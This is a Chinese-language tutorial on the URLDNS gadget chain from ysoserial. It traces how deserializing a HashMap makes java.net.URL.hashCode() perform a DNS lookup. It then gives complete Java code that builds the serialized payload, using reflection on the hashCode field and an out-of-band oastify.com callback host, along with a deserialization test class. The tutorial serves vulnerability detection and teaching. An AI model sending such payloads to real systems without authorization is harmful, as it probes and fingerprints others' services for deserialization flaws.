# URLDNS 链分析

URLDNS 链是 ysoserial 中的一条利用链,通常用于监测是否存在 Java 反序列化漏洞,该链有如下特点:

1、不限制 jdk 版本,使用 java 内置的类,无第三方依赖要求

2、目标无回显,可通过 DNS 请求验证是否存在反序列化漏洞

3、该条链只能用来发起 DNS 请求,不能够进行其他利用

该条链子的漏洞的 sink 点为 Java 内置的 java.net.URL 类,该类的 hasCode() 方法会调用 getHostAddress() 方法对目标 host 进行 DNS 解析请求

首先来看下 hasCode() 方法,该方法在内部又调用了 handler 的 hashCode() 方法, handler 为 URLStreamHandler 类的实例

继续跟进 handler.hashCode() ,内部调用 getHostAddress() 方法进行 DNS 解析请求,然而有一个前提就是自身的 hashCode 成员属性的值要为 - 1

接下来就是分析该条链的 kick-off 了,也就是 java.util.HashMap 类,这个类是最常用的 Map 实现类

由于反序列化的对象是 HashMap 的实例,因此会调用该类的 readObject() 方法,来看一下,在该方法的最后通过循环将序列化对象中的 key 和 value 对象通过 readObject() 方法反序列化后,通过 putVal() 方法将键、值及 hash 信息存入到 HashMap 的成员属性 table 中

这里首先会先调用 hash() 方法,跟进查看下,发现又调用了 key 的 hashCode() 方法

所以此时调用链就有了,这里的 key 是可控的,将其设为 URL 类的实例,就可以在反序列化的时候调用 URL 类的 hashCode() 方法,从而发起 DNS 解析请求

所以 payload 构造如下:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sel.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashmap = new HashMap<>();
        URL url = new URL("http://fve87323p580x94a5lh6c3ct0k6bu1iq.oastify.com");
        hashmap.put(url, 1);
        serialize(hashmap);
    }
}

然而 HashMap 的 put() 方法同样也会调用 hash() 方法,因此在这一步时也会进行一次 DNS 解析请求

为了不在生成 payload 的时候就触发 DNS 解析,我们需要通过反射将 URL 对象的 hashCode 的值设置不为 - 1 (在实例化时会默认赋值为 - 1),在放入 hashmap 之后为了保证后续在反序列化的时候成功触发漏洞调用链,还需要将 hashCode 的值重新设置为 - 1,因此最终的 payload 如下:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sel.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashmap = new HashMap<>();
        URL url = new URL("http://fve87323p580x94a5lh6c3ct0k6bu1iq.oastify.com");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        // 这里发送 DNS 请求,要先将 url 对象的 hashcode 设置不为 - 1
        hashcodefield.set(url, 666);
        hashmap.put(url, 1);
        // 此时要把 hashcode 改回 - 1,否则反序列化时不会触发漏洞点
        hashcodefield.set(url, -1);
        serialize(hashmap);
    }
}

编写一个反序列化测试类看看效果:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeserializeTest {
    public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize("sel.bin");
    }
}

运行后成功接收到了 DNS 请求